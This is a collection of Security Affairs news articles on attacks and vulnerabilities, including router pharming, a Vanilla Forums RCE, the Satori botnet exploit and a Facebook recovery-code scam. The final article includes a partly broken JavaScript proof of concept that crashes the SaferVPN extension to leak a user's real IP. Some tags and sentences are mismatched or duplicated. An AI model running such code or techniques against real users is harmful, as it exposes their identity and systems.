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1990_34215 | Security firm Proofpoint revealed that its experts recently detected a spam campaign targeting organizations and primarily Brazilian Internet users. The spam campaign implements a very effective technique to spy on a victim’s Web traffic. The particularity of this attack resides in the kill chain that started with malicious emails, as explained by experts at Proofpoint., The attackers exploited security vulnerabilities affecting home routers to gain access to the administrator console, once obtained the access to the control panel the hackers changed run a pharming attack by changing the DNS settings of the devices. Pharming attacks on a large scale could be run by replacing DNS servers used by the ISPs, so hacking the providers DNS, or acting on the client side by manipulating the setting of routers., “Proofpoint recently detected an update to a focused phishing campaign that represents a modern twist on this practice. Like the farming practice of using fish remains as fertilizer, modern attackers are using phishing emails to improve the yields of their pharming campaigns. This case is striking for several reasons, not the least of which is the introduction of phishing as the attack vector to carry out a compromise traditionally considered purely network-based.” states the blog post published by Proofpoint., By running a pharming attack, threat actors can hijack victim’s traffic redirecting users to malicious website and could be also used to run man-in-the-middle attacks to steal sensitive data (i.e user credentials, email) or hijacking search results., The researchers at Proofpoint detected about 100 phishing emails sent mostly to Brazilians who used either UTStarcom or TR-Link home routers. The emails were crafted to appear as legitimate messages from the Brazil’s largest telecommunications company., The malicious emails used in the spam campaign contain links used by crooks to direct the victim to a server they control that is used to exploit cross-site request forgery (CSRF) vulnerabilities in the routers., In order to access the administration panel of the routers, the attackers try default login credentials for the targeted device, a technique that resulted effective in many cases because user hadn’t changed factory settings., “When clicked, the links in the phishing email direct victims to a web page that uses malicious iframes to exploit CSRF vulnerabilities in the targeted routers. The iframe code brute forces the administrator page login for the router with multiple HTTP requests, as seen below:”, , Looking more closely at the HTTP requests embedded in the iframe, we see each pass the default administrator username and password for the router to the default IP address for the router’s administration page, with a string to set the IP address of the attacker’s malicious DNS as the Primary, and a well-known public DNS as the Secondary. The syntax of the request is:, A way to avoid this pharming attacks is to change default settings of the routers, another possibility if to fix the CSRF flaws exploited by attackers, but in this second case home users depend on the router manufacturer and the availability of a firmware update that fix this issue., Let me close providing you the IOCs detected in this campaign:, Pierluigi Paganini, (Security Affairs – pharming, cybercrime) |
3576_45981 | Details of almost 50 Million Turkish citizens have been leaked online, the bulk data was hosted on a server with the IP address 185.100.87.84. The archive was published during the weekend, the publishers claim they it belongs to 49,611,709 Turkish citizens, the complete 1.5GB archive (mernis.sql.tar.gz – 1.5GB compressed – 6.6GB uncompressed) is available for download on both Torrent and Magnet URL., The archive includes also the personal details of the President Recep Tayyip Erdogan., , The above data is usually included in a standard Turkey ID card, but at the time I was writing it is not known the source of the personal information data is currently unknown., It is not clear if the archive was populated with older data from other security breached, like the one that suffered the country in 2009., Experts speculate that data have been stolen from a government agency managing data of Turkish citizens., Below the message left by the hackers that appear to be politically motivated:, “Who would have imagined that backwards ideologies, cronyism and rising religious extremism in Turkey would lead to a crumbling and vulnerable technical infrastructure?”, Hackers have something against Erdogan, … and Trump, Lesson to learn for Turkey:, Hackers have found a baffling situation, it seems administrators hardcoded the password in one of the user interface they accessed., “Putting a hardcoded password on the UI hardly does anything for security.”, , Pierluigi Paganini, (Security Affairs – 50 Million Turkish Citizens, data breach), |
5210_59031 | The exploit code was published by ExploitBox, a remote attacker can chain the flaw with the Host Header injection vulnerability CVE-2016-10073 to execute arbitrary code and take the control of the affected software., , Vanilla Forums is the software mentioned by the popular security researcher Dawid Golunski in the following critical PHPMailer advisories a few months ago:, “The researcher also developed an Unauthenticated RCE exploit for a popular
open-source application (deployed on the Internet on more than a
million servers) as a PoC for real-world exploitation. It might be published after the vendor has fixed the vulnerabilities. ” wrote Golunski., Another day another #RCE #0day – #Vanilla Forums 2.3 -Patch it up #infosec Advisory&PoC #exploit at #Exploit_Box pic.twitter.com/l8TR9NZk0a, — Dawid Golunski (@dawid_golunski) May 11, 2017, , He has been waiting for a few months before publishing the Vanilla Forums RCE exploit together with the WordPress 4.6 RCE exploit., , , , The Vanilla Forums software leverages PHPMailer that uses PHP’s mail() function as its default transport, as explained by the expert., The mail() function can then be used to call Sendmail and an attacker can inject extra parameters into Sendmail by chaining the flaw with the CVE-2016-10073 vulnerability., For example:, “Attacker \” -Param2 -Param3″@test.com, when processed by the PHPMailer (and eventually sent to mail()) function would cause sendmail to execute with:, Dawid Golunski in the ExploitBox post demonstrates how an HTTP 1.0 Web request to the forum will allow code injection down to PHPMailer., “It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost.” wrote Golunski., “This is possible as the attacker can take advantage of HTTP/1.0 protocol and specify the exact vhost within the URL. This will allow the HOST header to be set to arbitrary value as the Apache server will obtain the SERVER_NAME from the provided URL. This will ensure that the malicious request will reach the affected code despite invalid vhost within the HOST header.”, Below a video PoC of the exploit:, , “The exploits and techniques prove that these type of vulnerabilities could be exploited by unauthenticated attackers via server headers such as HOST header that may be used internally by a vulnerable application to dynamically create a sender address.” Golunski told me. “This adds to the originally presented attack surface of contact forms that take user input including From/Sender address.”, These vulnerabilities affect the latest Vanilla Forums stable version 2.3 which unfortunately remains unpatched., The 0day Vanilla Forums advisories are at:, ExploitBox suggests setting the sender’s address to a static value, in this way it is possible to do not use the HOST header., Pierluigi Paganini, (Security Affairs – Vanilla Forums, hacking) |
4795_55750 | A joint operation conducted by the Europol and the Asian law enforcement allowed to arrest five members of an international organised cybercrime gang focused on cyber attacks on ATMs, three of them have been convicted., It has been estimated that the group caused to the banks around EUR 3 million losses., One arrest has been made by the Romanian National Police, three arrests by the Taiwanese Criminal Investigation Bureau and one arrest by the Belarusian Central Office of the Investigative Committee., The crime organization recruited members online, most of them were citizens of more than one country a strategic choice because allowed the gang to have support in different countries facilitating the travels of the components of the gang., Crooks were launching spear-phishing attacks aiming to distribute a malware to compromise the internal networks of the banks and gain control over the network of ATMs., , According to the Europol official announcement, the modus operandi employed was very complex and involved:, Cyber criminals were also able to use the software to delete almost all traces of the criminal activity., Members of the organised crime gang were recruited online, with most members being citizens of more than one country, something which helped them travel across the globe., The Europol had a pivot role for the success of the international law enforcement operation., “The majority of cybercrimes have an international dimension, taking into account the origins of suspects and places where crimes are committed. Only through a coordinated approach at the global level between law enforcement agencies can we successfully track down the criminal networks behind such large-scale frauds and bring them to justice,” says Steve Wilson, Head of Europol’s European Cybercrime Centre (EC3)., Pierluigi Paganini, (Security Affairs – Europol, cybercrime) |
5394_60507 | The security expert Benjamin Kunz-Mejri from security firm Vulnerability Lab discovered a Skype zero-day stack buffer overflow vulnerability, tracked as CVE-2017-9948, that could be exploited by a remote attacker to execute malicious code., Vulnerability Lab reported the flaw to Microsoft on 16th May, Microsoft released a patch on 8 June in Skype version 7.37.178., The flaw resides in Skype Web messaging and call service and could be exploited during a team conference call., “The buffer overflow vulnerability can be exploited by local and remote attackers without user interaction and with low privileged Skype user account.” states the security advisory published by Vulnerability Lab., , The flaw was ranked as a high-security risk and received a 7.2 CVSS score and affects Skype versions 7.2, 7.35, and 7.36 on Windows XP, Windows 7 and Windows 8., “The problem is located in the print clipboard format & cache transmit via remote session on Windows XP, Windows 7, Windows 8 and Windows 10. In Skype v7.37 the vulnerability is patched,” continues the advisory., A remote attacker can crash the application triggering an unexpected exception error, to overwrite the active process registers, or even execute malicious code on a vulnerable Sky instance., The problem is caused by the way Skype uses the ‘MSFTEDIT.DLL’ file in case of a copy request on local systems., “The security vulnerability allows to crash the software application with an unexpected exception error, to overwrite the active process registers to execute own malicious codes.” continues the advisory., “The security vulnerability is located in the `clipboard format` function of the Skype software. Attackers are able to use a remote computer system with a shared clipboard, to provoke a stack buffer overflow on transmission to Skype. The issue affects the `MSFTEDIT.DLL` dynamic link library of the windows8 (x86) operating system”, The advisory details how to exploit the flaw, an attacker can craft a malicious image file and then copy and paste it from a clipboard of a computer system into a conversation window in the Skype software., When the image is hosted on a clipboard on both the remote and the local systems, Skype triggers a stack buffer overflow., “The limitation of the transmitted size and count for images via print of the remote session clipboard has no secure limitations or restrictions. Attackers can crash the software with one request to overwrite the EIP register of the active software process,” said researchers from Vulnerability Lab., “Thus allows local or remote attackers to execute own codes on the affected and connected computer systems via the Skype software,” they added., The researchers published the proof-of-concept (PoC) exploit code., , Pierluigi Paganini, (Security Affairs – Petwrap ransomware , malware) |
6132_67227 | Before Christmas, the Mirai botnet made the headlines once again, a new variant dubbed Satori was responsible for hundreds of thousands of attempts to exploit a recently discovered vulnerability in Huawei HG532 home routers., The activity of the Satori botnet has been observed over the past month by researchers from Check Point security., Satori is an updated variant of the notorious Mirai botnet that was first spotted by the malware researchers MalwareMustDie in August 2016. The malicious code was developed to target IoT devices, the Satori version targets port 37215 on Huawei HG532 devices., The attacks against Huawei HG532 devices were observed in several countries, including the USA, Italy, Germany, and Egypt., , Experts observed that attacks attempt to exploit the CVE-2017-17215 zero-day vulnerability in the Huawei home router residing in the fact that the TR-064 technical report standard, which was designed for local network configuration, was exposed to WAN through port 37215 (UPnP – Universal Plug and Play)., News of the day is that the code used to target the Huawei routers over the past several weeks is now publicly available., The discovery was made by Ankit Anubhav, a researcher at security firm NewSky., Anubhav first discovered the code on Pastebin.com early this week., “NewSky Security observed that a known threat actor released working code for Huawei vulnerability CVE-2017–17215 free of charge on Pastebin this Christmas. This exploit has already been weaponized in two distinct IoT botnet attacks, namely Satori and Brickerbot.” states a blog post published by Anubhav., The exploit code for the CVE- 2017-17215 was used by a hacker identified as “Nexus Zeta” to spread the Satori bot (aka Okiku)., The availability of the code online represents a serious risk, it could become a commodity in the criminal underground, vxers could use it to build their botnet., Satori isn’t the only botnet leveraging the CVE-2017-17215 exploit code, earlier in December, the author of the Brickerbot botnet that goes online with the moniker “Janitor” released a dump which contained snippets of Brickerbot source code., NewSky Security analyzing the code discovered the usage of the exploit code CVE-2017–17215, this means that the code was available in the underground for a long., “Let us compare this with a binary of Satori botnet (in the image below). Not only we see the same attack vector i.e. code injection in <NewStatusURL>, but also, we witness the other indicator “echo HUAWEIUPNP“ string, implying that both Satori and Brickerbot had copied the exploit source code from the same source.” continues NewSky., , This is not the first time that IoT botnets leverage issues related to the SOAP protocol. Earlier this year, security experts observed several Mirai-based botnets using two other SOAP bugs (CVE-2014–8361 and TR-64) which are code injections in <NewInternalClient> and <NewNTPServer> respectively., Back to the present, Huawei provided a list of mitigation actions for this last wave of attacks that includes configuring a router’s built-in firewall, changing the default password or using a firewall at the carrier side., I avoided to provide the link to the code published on Pastebin, but it is very easy to find it with the proper query., Pierluigi Paganini, (Security Affairs – Satori Botnet, CVE-2017-17215) |
5062_57757 | Yesterday I wrote about SCADA systems that are currently shipped with an unchangeable hard-coded password, and today I’m here to discuss you a similar problem., The Mobility Express Software developed by the IT giant CISCO that is shipped with Aironet 1830 Series and 1850 Series access points has a hard-coded admin-level SSH password., , The presence of default credentials could be exploited by attackers to remotely exploit a “layer 3 connectivity to an affected device”., “A vulnerability in Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points running Cisco Mobility Express Software could allow an unauthenticated, remote attacker to take complete control of an affected device.” reads the security advisory. “The vulnerability is due to the existence of default credentials for an affected device that is running Cisco Mobility Express Software, regardless of whether the device is configured as a master, subordinate, or standalone access point. An attacker who has layer 3 connectivity to an affected device could use Secure Shell (SSH) to log in to the device with elevated privileges. A successful exploit could allow the attacker to take complete control of the device”, To discover which release of Cisco Mobility Express Software is running on your device you can use the Cisco Mobility Express wireless controller web interface or the CLI.
The release number is available in the section under the web interface under Management > Software Update., The security advisory published by the company is part of a wider set that addresses security issued for the Aironet 1830/1850 series., The problem affects every access point running the 8.2.x release of Cisco Mobility Express Software prior to Release 8.2.111.0., regardless of whether the device is configured as a master, subordinate, or standalone access point., CISCO has released free software updates that fixed the flaw described in the advisory. It is important to remind that customers may only install and receive support for software versions for which they have purchased a license., Other security issues related the Aironet technology are:, Cisco has already issued security fixes to patch the above problems., Pierluigi Paganini, (Security Affairs – Cisco Aironet, Cisco Mobility Express) |
2586_38950 | Bitphone is a new VoIP service, a perfect tool to perform some social engineering calls, but why?, Bitphone is like a Payphone, the only difference is that in this case you need to pay it with bitcoins (it accepts around 40 types of bitcoins), what helps the anonymity part., To be able to use the service, there is no need to register, and you can pay your call by transferring bitcoins from your wallet, all this using a QR code transfer, and when you deal it will show up as an Arizona number., If you register (not mandatory), there will be one major advantage, you can make show up whatever CLI you want when calling, meaning that you can call yourself and the CLI can even be your own number. You can also do conference calls with 2 people., , Yet about the registration part, there are no email checks about the owner of the email., The calls are cheap (as many services now)., Bitphone is owned by Solidcloud.io and they say in their terms and conditions, that you must not use this service unlawfully., There were cases in the past in the UK where regulators closed services that spoof CLI, but since this one is in the US there is no problem (let’s see until when)., Think like a crook and imagine the possibilities behind a service like this one., About the Author Elsio Pinto, Edited by Pierluigi Paganini, (Security Affairs – Bitphone, VOIP) |
2108_35396 | The researchers Simone Bovi and Mauro Gentile at the security firm Minded Security discovered a flaw in the popular networking library for iOS and OS X AFNetworking. The researchers found the flaw while were conducting the analysis of a mobile application for one of their clients.were conducting the analysis of a mobile application for one of their clients., The flaw appeared very serious, popular mobile applications like Pinterest, Vine, Heroku , and Simple use the networking library for iOS and OS X exposing the users to man-in-the-middle (MiTM) attacks., , The development team behind the framework AFNetworking promptly pushed a fix for the security issue., “It turned out that because of a logic flaw in the latest version of the library, SSL MiTM attacks are feasible in apps using AFNetworking 2.5.1. The issue occurs even when the mobile application requests the library to apply checks for server validation in SSL certificates.” Bovi explained in a blog post., “After a few minutes, we figured out that there was a logical bug while evaluating trust for SSL certificates, whose consequence was to completely disable SSL certificate validation,” continues the post., The researchers Bovi and Gentile have found the details of the flaw in a Github forum post in early February, in the post it is explained that AFNetworking framework could allow connection to https servers with invalid certificates., The flaw seems to affect the version 2.5.1 of the library that was released in January 2015., “I have verified that a malicious proxy server can sniff all the contents of HTTPS communication in this case,” reported the Github user duttski, who devepoed a temporary patch for the issue waiting for a final fix., The creator of the libraryMattt Thompson, who currently maintains AFNetworking, promptly released the libraryMattt Thompson, who currently maintains AFNetworking, promptly released the libraryMattt Thompson, who currently maintains AFNetworking, promptly released the Version 2.5.2 and fixed the issue by adding “test and implementation of strict default certificate validation”., Pierluigi Paganini, (Security Affairs – MITM, AFNetworking) |
7741_80998 | The 0patch experts released a micropatch to address a zero-day vulnerability in Adobe Reader which could be exploited by threat actors to craft maliciously PDF documents that call home and send over the victim’s NTLM hash to remote attackers in the form of an SMB request., The vulnerability was reported by the security expert Alex Inführ that also published technical details of the issue along with a proof-of-concept., “Once again the XML Form Architecture (XFA) structure helped.XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a xml-stylesheet does the trick.” wrote the expert. , “Adobe Reader actually detects any http/https URLs specified in a xml-stylesheet element and asks for the user’s confirmation. This dialog can be simply bypassed by using UNC paths.” , The expert explained that this new issue is similar to the CVE-2018-4993 (aka “BadPDF“) that fixed by Adobe in November. The flaw allowed to trigger a callback to an attacker-controlled SMB server and leak the users NTMLv2 hash. , Inführ tested the PoC on Adobe Acrobat Reader DC 19.010.20069 running on Windows OS. , Once users have applied the micropatch the vulnerability will be immediatelly addressed., “This vulnerability, similar to CVE-2018-4993, the so-called Bad-PDFreported by CheckPoint in April last year, allows a remote attacker to steal user’s NTLM hash included in the SMB request. It also allows a document to “phone home”, i.e., to let the sender know that the user has viewed the document. Obviously, neither of these is desirable.” reads the blog post published by 0patch., “The malicious PDF included a certain element that triggered automatic loading of another PDF from a remote share.”, The patch released by the 0patch community allows to display a warning that inform users that the document is trying to access a remote share: , “This warning allowed the user to decide whether to allow the potentially malicious document to “phone home” or not.” reads the post., 0patch published a video PoC demo that shows how the micropatch works:, Pierluigi Paganini, (SecurityAffairs – micropatch, hacking), |
1860_32665 | Symantec experts estimated that the scammers have so far earned several thousand dollars via this particular campaign. It’s impossible to know, but it’s likely they are running other similar ones at the same time., To prevent computers from being compromised with click-fraud malware such as Trojan.Tubrosa, Symantec suggested the respect of the following best practices:, Pierluigi Paganini, (Security Affairs – Click-fraud malware, YouTube) |
6101_66964 | Security experts at pen-test firm Syss have discovered that the Windows 10 facial recognition security feature dubbed Hello can be spoofed in the simplest way, using a photo of an authorized user., “Microsoft face authentication in Windows 10 is an enterprise-grade identity verification mechanism that’s integrated into the Windows Biometric Framework (WBF) as a core Microsoft Windows component called Windows Hello. Windows Hello face authentication utilizes a camera specially configured for near infrared (IR) imaging to authenticate and unlock Windows devices as well as unlock your Microsoft Passport.”, The bad news for the users is that even if they have installed the fixed versions shipped in October (builds 1703 or 1709) the technique is effective. In this scenario, users need to set up the facial recognition from scratch to make it resistant to the attack., “Due to an insecure implementation of the biometric face recognition in some Windows 10 versions, it is possible to bypass the Windows Hello face authentication via a simple spoofing attack using a modified printed photo of an authorized person.” states the security advisory published on Full Disclosure., The attack devised by the researchers works on both the default config, and Windows Hello with its “enhanced anti-spoofing” feature enabled., “Thus, by having access to a suitable photo of an authorized person (frontal face photo), Windows Hello face authentication can easily be bypassed with little effort, enabling unauthorized access to the Windows system.” reads the , “Both, the default Windows Hello configuration and Windows Hello with the enabled “enhanced anti-spoofing” feature on different Windows 10 versions are vulnerable to the described spoofing attack and can be bypassed. If “enhanced anti-spoofing” is enabled, depending on the targeted Windows 10 version, a slightly different modified photo with other attributes has to be used, but the additional effort for an attacker is negligible. In general, the simple spoofing attack is less reliable when the “enhanced anti-spoofing” feature is enabled.”, , The Proof of Concept (PoC) detailed by the researchers worked against a Dell Latitude running Windows 10 Pro, build 1703; and a Microsoft Surface Pro running 4 build 1607., The experts tried to use the “enhanced anti-spoofing” feature on Surface Pro’s , but claimed its “LilBit USB IR camera only supported the default configuration and could not be used with the more secure face recognition settings.”, They successfully bypassed the default Windows Hello configuration on both test devices running all tested Windows 10 versions., Below the proof-of-concept videos published by the researchers.:, , , , Pierluigi Paganini, (Security Affairs – Windows 10 Hello, facial recognition) |
5816_64276 | Don’t trust message apparently sent from any of your Facebook Friends asking for urgent help to recover their Facebook account., Researchers have spotted a new Facebook scam that could deceive also tech-savvy people and trick them into giving the attacker access to their Facebook accounts., The Facebook scam abuse “Trusted Contacts, ” a Facebook account recovery feature that sends access codes to a selected list of trusted user’s friends in order to help you regain access to their Facebook account in case you forget your password or lost access to your account., The alert was launched by AccessNow, the attack chain starts with a message from the compromised account of one of the friends of the potential victim., “The new attack targets people using Facebook, and it relies on your lack of knowledge about the platform’s “Trusted Contacts” feature. states the public security alert., “Trusted Contacts is a system created by Facebook to help you gain access to your account if you forget your password or your account is locked. If you enable Trusted Contacts, Facebook will ask you to identify three to five people. If you need access to your account, Facebook will send part of a code to each of these users that can be combined to gain access to your account.”, The attacker asks for victim’s help recovering his account, he tells the victim that he is as one of his Trusted Contacts on Facebook, and inform him that he will receive by mail a code for recovering their account., The attacker, who is posing as a victims’ friend thanks to the compromised account, asks the victim to share the recovery code., Then the attacker triggers the “I forgot my password” feature for the victim’s Facebook account and requests a recovery code., At this point, the code received by the victim is not the key to unlock his friend’s account, but instead, the code requested by the attacker through the “Forgot my password” procedure., If the victim shares the code with the attacker he will be able to take over the your account from you., Below the step by step procedure:, , This specific Facebook scam relies on the lack of victim’s knowledge about the Trusted Contacts feature., “The new attack targets people using Facebook, and it relies on your lack of knowledge about the platform’s Trusted Contacts feature,” states Access Now., The Facebook scam can potentially target any users of the popular social network, but experts are seeing the majority of reports from human right defenders and activists from the Middle East and North Africa.”, Pierluigi Paganini, (Security Affairs – Hyatt Hotels Corporation, data breach) |
2158_35816 | The blue team of DARPA (Defense Advanced Research Projects Agency) backed up by Iowa State University researchers are developing a tool that will help with Android malware analysis., The features used by the blue team include “smells” which uses stronger heuristics to understand if exits any trace of malware. Benjamin Holland, Tom Deering, and Suresh Kothari are in charge of producing the platform to be presented at ICSE, next month., , The idea of creating such platform appeared in last year’s conference where it was said:, “We have to go through (USAF Colonel) John Boyd’s OODA loop of observe, orient, decide and act several times throughout an audit — the key point is that the Security Toolbox helps us iterate through that loop faster which is what determines success,”, In their paper called “Security Toolbox for Detecting Novel and Sophisticated Android Malware” the experts provided the following description of the approach:, “Our novel human-in-loop approach to detect Android malware minimizes human effort by allowing the human to use the evidence produced by the machine to focus their effort on further machine-assisted reasoning. This affords greater opportunity to detect malware that is not on the radar of an automated analyzer; the what-if experimentation capability provided by the machine enables the user to posit attacker’s intentions, hypothesis about the attacker’s modus operandi and tailor queries to detect sophisticated malware. Thus, our approach increases automation, reduces human effort and error, and provides valuable machine assistance to detect novel and sophisticated malware.”, In their tests, the team accurately detected 66 Android malicious apps (created by DARPA’s red team), scoring an amazing 85.7% of detection, beating the top tools used in the market nowadays., Another goal with the creation of this tool, was to reduce the human effort in malware detection. For me, especially this is great news, since I work in the field, and sometimes these tasks are time consuming and difficult to detect. This solution sure can provide an evolution and can be a time safer., , About the Author Elsio Pinto, Pierluigi Paganini, (Security Affairs – DARPA, Android), |
2218_36292 | Law enforcement and Intelligence agencies are always involved in the infiltration of Darknets and related services with the primary intent to monitor bad actors and de-anonymize users., The Tor-Based Dark Web Email Service SIGAINT is one of the services under constant attack of Government agencies, recently its administrator warned the users of the email service that was targeted by a suspected law enforcement agency who tried to hack it., SIGAINT is one of the web email service hosted on the TOR network that is used to send messages preserving user’s anonymity., Among the users of web email services hosted in the dark web, there are journalists, dissidents menaced by repressive regimes and of course intelligence agencies and cyber criminals., Due to the nature of the service and the identity of its users, SIGAINT email service is one of those Tor hidden services targeted by the intelligence., According to the Administrator, a persistent attacker with access to nearly 70 bad Tor exit nodes (around 6 percent of the total) have tried to compromise the email service, the attack occurred a few days ago. The administrator of the anonymous web email service alerted the users via the tor-talk mailing list this week., Tor Exit Nodes are the gateways where encrypted Tor traffic flows on the Internet, by monitoring an exit node it is possible to analyze the Tor traffic after it leaves the onion network., In the specific case of web email services like SIGAINT, the Tor exit node is the last hop before the message reaches the Internet and its IP address is the unique information seen by the recipient instead the IP address of the legitimate sender., One of the administrators of SIGAINT confirmed that his server was targeted by 58 malicious Tor exit nodes, but a member of the Tor Project, Philipp Winter, discovered other 12 bad exit nodes., , A so huge number of exit nodes compromised lead the experts to believe that involvement of an intelligence agency., “So apparently we have drawn attention to our humble little email service that mostly lives inside of the Tor network. Today we reported 58 bad exit nodes to Philipp. He instantly found 12 more that we had missed, and there may be even more of them. (Thank you, Philipp!) FYI: They were added to the BadExit list just hours ago so traffic to them should dry up. The attacker had been trying various exploits against our infrastructure over the past few months. Our exploit mitigations have been sounding various alarms.” is reported in the tor-talk mailing list., The managers of the Tor Project have blacklisted the bad Tor relays that were used by attackers to run”man in the middle” (MITM) attacks., Which is the impact for the victims?, SIGAINT administrators speculate that the service was not compromised, but there is the concrete possibility that attackers have obtained credentials of an unknown number of users., “We are confident that they didn’t get in,” states the alert. “It looks like they resorted to rewriting the .onion URL located on sigaint.org to one of theirs so they could MITM man-in-the-middle logins and spy in real-time.”, The administrator, who wishes to remain anonymous, told Motherboard that the hackers failed to break into SIGAINT’s servers., “We know what they were after,” the admin told to Lorenzo Bicchierai at Motherboard. “There is no way to spy on email that doesn’t leave the darknet without spying on the mail service itself.”, The SIGAINT email web service is evaluating the possibility to enable encryption by default or remove the .onion URL from the sigaint.org page., Pierluigi Paganini, (Security Affairs – SIGAINT, Deep Web) |
787_18772 | Arbor Networks has issued the report on global DDoS attack trends for the first three quarters of 2013, the report revealed that this kind of attack still represents a serious menace for IT security communities. The document provides an interesting overview into Internet traffic patterns and threat evolution. The data show a constant growth in the number or attacks and related efficiency, the experts observed a meaningful increase (32%) for malicious traffic, the IPv4 traffic reached 69Tbps of peak, up from 47Tbps in registered in Q2., , The 2013 Q3 report also highlighted a concerning increase in the Average attack size, the average size of the attacks expressed in bits-per-second (BPS) for the last quarter was included in the 3-3.5 Gbps range. The graph below shows the average monthly Mbps of attacks and peak Gbps of the attacks, both picture confirm the significant growth of the cyber threat., , , The average attack sizes on monthly base touched 3Gb/sec, the experts remarked that despite the attack volume seem to be taking up across the board when it comes to bits-per-second, the situation is inverse if it is considered in packets-per-second. The DDoS Q3 2013 report states that the largest DDoS attack size had a peak at 191Gbps and occurred in August 2013, this data is considered concerning because it has broken through the psychological threshold of alert estimated on 100Gbps. Another element of interest in the data proposed by DDoS Q3 2013 are the information on the magnitude of single events, ATLAS has monitored a superior number of attacks over 20Gbps respect previous year. Following key findings for proposed by Atlas on DDoS attacks:, I suggest the reader to read the full report to better understand the evolution of the DDoS cyber threat., Pierluigi Paganini, (Security Affairs – Atlas, DDoS) |
7603_79628 | The cryptocurrency exchange Coinbase has suspended the trading of Ethereum Classic (ETC) after double-spend attacks that consist in spending digital coins twice.Ethereum Classic (ETC) is the original unforked Ethereum blockchain, the attacks resulted in the loss of $1.1 million worth of the digital currency., 51% attack refers to an attack on a blockchain by a group of miners that controls over 50% of the network’s mining hashrate., “On 1/5/2019, Coinbase detected a deep chain reorganization of the Ethereum Classic blockchain that included a double spend. In order to protect customer funds, we immediately paused interactions with the ETC blockchain.” reads a blog post published by Coinbase., “Subsequent to this event, we detected 8 additional reorganizations that included double spends, totaling 88,500 ETC (~$460,000). Update: Subsequent to this event, we detected 12 additional reorganizations that included double spends, totaling 219,500 ETC (~$1.1M).”, The attackers were able to double spend about 219,500 ETC and transfer them to wallets under their control., On January 5, the exchange discovered a deep chain reorganization of the Ethereum Classic blockchain, then it halted send/receive interaction with the ETC blockchain in order to safeguard customer funds. , “Due to unstable network conditions on the Ethereum Classic network, we have temporarily disabled all sends and receives for ETC. Buy and sell is not impacted. All other systems are operating normally.” reads an update published by Coinbase on January 6, 2019., The price of the Ethereum Classic (ETC) digital currency went down just after the attacks were reportes. , Bitfly, a fellow cryptocurrency trading platform, confirmed the attack and stated that it is still ongoing. , We can confirm that there was a successful 51% attack on the Ethereum Classic (#ETC) network with multiple 100+ block reorganization. We recommend all services to closely monitored the chain and significantly increase required confirmations., It is curious to note that Ethereum Classic was not able to defect the attack first and rejected the initial report from Coinbase. , The incident was confirmed later and confirmed that the investigation is still ongoing. , We are working with Slow Mist and many others in the crypto community. We recommend exchanges and pools significantly increase confirmation times (400-4000+) Stay tuned …, Pierluigi Paganini, (SecurityAffairs – virtual currency, hacking), |
5257_59407 | Qatar faced an unprecedented security breach, unknown attackers posted fake news stories attributed to its ruler on highly sensitive regional political issues., , The hackers hit the Qatar official news agency website and Twitter account in the early hours of the morning causing serious problem to the country., The government Communications Office confirmed that the story published by hackers is false, and had “no basis whatsoever”. Hackers shared fake content supposedly addressed by Emir Sheikh Tamim bin Hamad Al-Thani, including the Palestinian-Israeli conflict, tensions with the Trump’s administration, strategic relations with Iran, and comments about Hamas., “The Qatar News Agency website has been hacked by an unknown entity,” reported the Communications Office in a statement., “A false statement attributed to His Highness has been published.”, Hackers also published on the hijacked Twitter account a fake story in Arabic apparently from the country’s foreign minister, Mohammed bin Abdulrahman Al-Thani, about Qatar withdrawing its ambassadors from several countries in other East Gulf states., The fake statement on QNA was reported by broadcasters in the Gulf area, including in the United Arab Emirates and Saudi Arabia, meanwhile, Al-Jazeera transmissions and websites were blocked for some time in the UAE., The fake news triggered the protest over the Social media in different Gulf countries., Analyzing the recent events in the Middle East, the news was spread after the recent visit of President Trump in Saudi Arabia while Qatar was claiming it had been the victim of an orchestrated smear campaign over its alleged “support” for terrorism., According to Doha, the attack was powered by anti-Qatar organizations., Pierluigi Paganini, (Security Affairs – Doha, Qatar) |
6608_71740 | After my last month’s finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.
We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we’ve found surprised us: of all 3 VPN’s we’ve tested, we’ve discovered all of them leak sensitive data.
The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user’s traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.
The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research.Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs. , ,
Details
In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.
When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is supposed to hide.
This is a weird bug, as I didn’t know chrome extensions could be dosed until now. I’ve tried putting breakpoints through the extension’s debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.
Here is a PoC that works on versions before 3.1.10
<script type=”text/javascript”>
var head = document.getElementsByTagName(‘head’)0;
var img = document.createElement(‘img’);
img.src= “
function kill(){
for(var i=0;i<12;i++){
head.appendChild(img);
}
}
kill();
window.onload = setTimeout(function () {
var webService = “
var script = document.createElement(“script”);
script.type = “text/javascript”;
script.src = webService+”?callback=MyIP&format=jsonp”;
document.getElementsByTagName(“head”)0.appendChild(script);
}, 9000);
function MyIP(response) {
document.getElementById(“ipaddress”).innerHTML = response.ip;
}
</script>
<div id = “ipaddress”></div>
, , Timeline
Thu, Mar 29 – contacted SaferVPNThu, Apr 19 – SaferVPN patch live., About the author Paulos Yibelo, Original post @ Pierluigi Paganini, (Security Affairs – SaferVPN VPN, hacking) |
